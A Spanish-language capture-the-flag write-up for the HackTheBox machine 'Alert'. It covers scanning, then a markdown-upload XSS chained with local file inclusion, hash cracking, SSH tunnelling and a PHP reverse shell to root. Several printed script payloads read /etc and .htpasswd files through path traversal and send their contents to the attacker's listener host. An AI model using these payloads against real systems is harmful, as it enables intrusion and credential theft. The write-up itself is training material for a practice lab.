Alert
nmap -Pn -p- --min-rate 5000 -sC -sV -oN nmap-alert.txt 10.10.11.44

Análisis de resultados del escaneo de NMap
Puertos abiertos:
Puerto 22 (SSH)
Estado : Abierto
Servicio : SSH
Versión : OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocolo 2.0)
Notas :
La presencia de OpenSSH sugiere que este servicio es para administración remota.
La versión 8.2p1 tiene vulnerabilidades conocidas (por ejemplo, CVE-2020-15778). Verifique el estado del parche o pruebe técnicas de enumeración SSH.
La
ssh-hostkey
salida proporciona tres tipos de claves (RSA, ECDSA, ED25519), útiles para tomar huellas digitales o verificar la autenticidad durante la conexión.
Puerto 80 (HTTP)
Estado : Abierto
Servicio : HTTP (Apache)
Versión : Apache httpd 2.4.41 ((Ubuntu))
Notas :
El servidor web redirecciona a
http://alert.htb/
. Puede ser un host virtual; asegúrese de que elHost
encabezado esté configurado durante la exploración posterior.La versión 2.4.41 puede tener vulnerabilidades potenciales como CVE-2020-11984 o CVE-2020-13950. Verifique el estado del parche.
El dominio redirigido sugiere un posible punto de entrada para la explotación web o la enumeración de directorios.
Puertos filtrados:
Puerto 12227
Revise las reglas del firewall o las configuraciones de enrutamiento para realizar una investigación más detallada.
Estado : filtrado
Servicio : Desconocido
Notas :
El puerto está filtrado, lo que significa que no hay respuesta o está bloqueado por un firewall.
PodrÃa albergar un servicio inusual o personalizado. Pruebe técnicas como
udp-scan
,service-fingerprint
, ofirewalk
para recopilar más información.Revise las reglas del firewall o las configuraciones de enrutamiento para realizar una investigación más detallada.
Entramos a la pagina el cual se puede subir archivos .md
En la página web, habÃa una función de carga de archivos markdown ( .md
) y una opción de vista previa que mostraba el contenido. Inicialmente, intenté extraer información de .md
los archivos cargados, pero esos intentos no arrojaron ningún resultado útil. Después de experimentar con diferentes cargas útiles y técnicas, identifiqué y exploté con éxito una vulnerabilidad XSS a través de la .md
función de carga de archivos.

Explotación
Utilice su experiencia en la explotación de vulnerabilidades descubiertas durante la enumeración en la página web, incluyendo el uso de credenciales predeterminadas de texto simple cuando corresponda. Ejecute ataques efectivos para obtener acceso a la raÃz rápidamente. Emplee varios métodos, incluyendo diferentes métodos como cargas útiles PHP o inyecciones XSS, para lograr el máximo impacto. Utilice puertos abiertos en su máquina local para establecer un shell inverso rápidamente. Obtenga una copia de la fuente para navegar por el sistema hábilmente y evitar caer en una madriguera de conejo. Mejore sus habilidades dominando el arte de la persistencia y la escalada para adquirir las credenciales necesarias, incluyendo aprender a trabajar con valores hash. Capture la bandera explotando debilidades estratégicamente. Obtenga puntos de bonificación demostrando competencia en la explotación del sistema con John, la reconocida herramienta para descifrar contraseñas. Domine la fase de explotación para avanzar con éxito en Alert en HackTheBox, htb.
Hospedaje de un servidor malicioso
Para extraer datos del sistema de destino, configuré un servidor HTTP Python3 en el puerto 8888
para capturar la salida de mi carga útil.
python3 -m http.server 8888
Este servidor actuó como un oyente, listo para recibir cualquier dato obtenido y enviado por el exploit creado.
Cómo subir un archivo Markdown malicioso
La carga útil estaba incrustada en un .md
archivo que contenÃa el siguiente script malicioso:
<script>
fetch("http://alert.htb/messages.php?file=filepath")
.then(response => response.text())
.then(data => {
fetch("http://10.10.xx.xx:8888/?file_content=" + encodeURIComponent(data));
});
</script>
Cuando se cargó este archivo, se aprovechó la vulnerabilidad LFI de la aplicación para obtener archivos confidenciales y redirigir su contenido a mi servidor.
El codigo malicioso lo pondremos en archivo .md para subirlo a travez Markdown Viewer para despues el link que nos proporciona pasarlo por contact us y asi tener la revershell por el nc:
Ampliando la superficie de ataque
Después de identificar a los usuarios potenciales, intenté forzar las credenciales SSH. Sin embargo, estos intentos no dieron resultado. Cambié el enfoque y exploré los archivos de configuración de Apache utilizando cargas útiles ajustadas:
Obtención de configuraciones de Apache
<script>
fetch("http://alert.htb/messages.php?file=../../../etc/apache2/sites-enabled/000-default.conf")
.then(response => response.text())
.then(data => {
fetch("http://10.10.21.21:8888/?file_content=" + encodeURIComponent(data));
});
</script>
Extracción de archivos de contraseñas de Apache
<script>
fetch("http://alert.htb/messages.php?file=../../../var/www/statistics.alert.htb/.htpasswd")
.then(response => response.text())
.then(data => {
fetch("http://10.10.21.21:8888/?file_content=" + encodeURIComponent(data));
});
</script>
Estas cargas útiles proporcionaron detalles de configuración crÃticos y una credencial en formato hash almacenada en formato .htpasswd
.

Esto parece un cifrado hash utilizando fuerza bruta la encontramos:

Bien ahora teniendo la contraseña entramos por ssh:

Ahora intentaremos escalar privilegios:
Subà linpeas y descubrà que 8080 está abierto

Reenviar el puerto
Por qué usar esto? Seguridad: El túnel SSH cifra todo el tráfico entre tu máquina local y la máquina remota. Acceso a servicios internos: Te permite acceder a servicios que solo están disponibles en localhost en la máquina remota (es decir, servicios que no son accesibles desde la red pública).
ssh -L 8080:127.0.0.1:8080 albert@alert.htb
Dentro de la máquina comprometida, el objetivo será identificar directorios con permisos adecuados que permitan subir y ejecutar una reverse shell, lo que podrÃa facilitar la escalación de privilegios a superusuario. Este proceso se realiza en varias etapas:
. Creamos el php con el codigo malicioso:

. Una vez creado nos redirigimos directamente a esa ruta pero antes tenemos que estar en la escucha con:


Y asi logramos ser root en la maquina :)
Last updated